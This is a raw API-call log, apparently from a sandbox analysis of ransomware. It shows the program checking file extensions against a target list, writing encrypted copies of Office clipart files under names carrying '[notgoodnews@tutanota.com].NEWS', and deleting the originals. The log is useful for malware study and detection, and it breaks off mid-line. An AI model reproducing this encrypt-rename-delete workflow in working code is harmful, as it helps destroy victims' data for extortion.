[0079.093] lstrlenW (lpString=".zip") returned 4 [0079.093] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.093] lstrlenW (lpString=".rar") returned 4 [0079.093] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.093] lstrlenW (lpString=".bz2") returned 4 [0079.093] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.093] lstrlenW (lpString=".7z") returned 3 [0079.093] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.093] lstrlenW (lpString=".dbf") returned 4 [0079.093] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.093] lstrlenW (lpString=".1cd") returned 4 [0079.093] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.093] lstrlenW (lpString=".jpg") returned 4 [0079.093] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.093] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.093] lstrlenW (lpString="BL00195_.WMF") returned 12 [0079.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.094] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=8070) returned 1 [0079.094] CloseHandle (hObject=0x2c4) returned 1 [0079.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0079.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.095] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.095] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.095] GetLastError () returned 0x0 [0079.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0079.098] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0079.099] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.099] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.099] SetEndOfFile (hFile=0x398) returned 1 [0079.100] CloseHandle (hObject=0x398) returned 1 [0079.101] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.101] SetEndOfFile (hFile=0x2c4) returned 1 [0079.102] CloseHandle (hObject=0x2c4) returned 1 [0079.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0079.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString=".doc") returned 4 [0079.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString=".docx") returned 5 [0079.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.103] lstrlenW (lpString=".pdf") returned 4 [0079.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString=".xls") returned 4 [0079.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.103] lstrlenW (lpString=".xlsx") returned 5 [0079.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.103] lstrlenW (lpString=".ppt") returned 4 [0079.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString=".zip") returned 4 [0079.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.103] lstrlenW (lpString=".rar") returned 4 [0079.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString=".bz2") returned 4 [0079.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString=".7z") returned 3 [0079.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString=".dbf") returned 4 [0079.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString=".1cd") returned 4 [0079.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString=".jpg") returned 4 [0079.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.103] lstrlenW (lpString=".doc") returned 4 [0079.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.104] lstrlenW (lpString=".docx") returned 5 [0079.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.104] lstrlenW (lpString=".pdf") returned 4 [0079.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.104] lstrlenW (lpString=".xls") returned 4 [0079.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.104] lstrlenW (lpString=".xlsx") returned 5 [0079.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.104] lstrlenW (lpString=".ppt") returned 4 [0079.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.104] lstrlenW (lpString=".zip") returned 4 [0079.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.104] lstrlenW (lpString=".rar") returned 4 [0079.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.104] lstrlenW (lpString=".bz2") returned 4 [0079.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.104] lstrlenW (lpString=".7z") returned 3 [0079.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.104] lstrlenW (lpString=".dbf") returned 4 [0079.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.104] lstrlenW (lpString=".1cd") returned 4 [0079.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0079.104] lstrlenW (lpString=".jpg") returned 4 [0079.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.104] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.104] lstrlenW (lpString="BL00234_.WMF") returned 12 [0079.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.105] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=9304) returned 1 [0079.105] CloseHandle (hObject=0x2c4) returned 1 [0079.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0079.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.105] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.106] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.106] GetLastError () returned 0x0 [0079.106] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2458, lpOverlapped=0x0) returned 1 [0079.108] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2460, lpOverlapped=0x0) returned 1 [0079.109] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.109] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.109] SetEndOfFile (hFile=0x398) returned 1 [0079.109] CloseHandle (hObject=0x398) returned 1 [0079.110] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.110] SetEndOfFile (hFile=0x2c4) returned 1 [0079.111] CloseHandle (hObject=0x2c4) returned 1 [0079.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.112] lstrlenW (lpString=".doc") returned 4 [0079.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.112] lstrlenW (lpString=".docx") returned 5 [0079.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.112] lstrlenW (lpString=".pdf") returned 4 [0079.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.112] lstrlenW (lpString=".xls") returned 4 [0079.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.112] lstrlenW (lpString=".xlsx") returned 5 [0079.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.112] lstrlenW (lpString=".ppt") returned 4 [0079.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.112] lstrlenW (lpString=".zip") returned 4 [0079.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.112] lstrlenW (lpString=".rar") returned 4 [0079.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.112] lstrlenW (lpString=".bz2") returned 4 [0079.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.112] lstrlenW (lpString=".7z") returned 3 [0079.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.112] lstrlenW (lpString=".dbf") returned 4 [0079.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.112] lstrlenW (lpString=".1cd") returned 4 [0079.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.112] lstrlenW (lpString=".jpg") returned 4 [0079.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.113] lstrlenW (lpString=".doc") returned 4 [0079.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString=".docx") returned 5 [0079.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.113] lstrlenW (lpString=".pdf") returned 4 [0079.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString=".xls") returned 4 [0079.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.113] lstrlenW (lpString=".xlsx") returned 5 [0079.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.113] lstrlenW (lpString=".ppt") returned 4 [0079.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.113] lstrlenW (lpString=".zip") returned 4 [0079.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.113] lstrlenW (lpString=".rar") returned 4 [0079.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString=".bz2") returned 4 [0079.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString=".7z") returned 3 [0079.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.113] lstrlenW (lpString=".dbf") returned 4 [0079.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.113] lstrlenW (lpString=".1cd") returned 4 [0079.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0079.113] lstrlenW (lpString=".jpg") returned 4 [0079.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.114] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.114] lstrlenW (lpString="BL00242_.WMF") returned 12 [0079.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.114] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4024) returned 1 [0079.114] CloseHandle (hObject=0x2c4) returned 1 [0079.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0079.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.115] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.115] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.115] GetLastError () returned 0x0 [0079.115] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0079.116] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0079.117] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.117] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.117] SetEndOfFile (hFile=0x398) returned 1 [0079.118] CloseHandle (hObject=0x398) returned 1 [0079.118] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.118] SetEndOfFile (hFile=0x2c4) returned 1 [0079.944] CloseHandle (hObject=0x2c4) returned 1 [0080.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0080.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.280] lstrlenW (lpString=".doc") returned 4 [0080.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.280] lstrlenW (lpString=".docx") returned 5 [0080.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.280] lstrlenW (lpString=".pdf") returned 4 [0080.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.280] lstrlenW (lpString=".xls") returned 4 [0080.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.280] lstrlenW (lpString=".xlsx") returned 5 [0080.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.280] lstrlenW (lpString=".ppt") returned 4 [0080.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.280] lstrlenW (lpString=".zip") returned 4 [0080.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.281] lstrlenW (lpString=".rar") returned 4 [0080.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString=".bz2") returned 4 [0080.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString=".7z") returned 3 [0080.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.281] lstrlenW (lpString=".dbf") returned 4 [0080.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.281] lstrlenW (lpString=".1cd") returned 4 [0080.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.281] lstrlenW (lpString=".jpg") returned 4 [0080.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.281] lstrlenW (lpString=".doc") returned 4 [0080.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString=".docx") returned 5 [0080.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.281] lstrlenW (lpString=".pdf") returned 4 [0080.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString=".xls") returned 4 [0080.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.281] lstrlenW (lpString=".xlsx") returned 5 [0080.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.281] lstrlenW (lpString=".ppt") returned 4 [0080.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.281] lstrlenW (lpString=".zip") returned 4 [0080.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.281] lstrlenW (lpString=".rar") returned 4 [0080.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.281] lstrlenW (lpString=".bz2") returned 4 [0080.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned 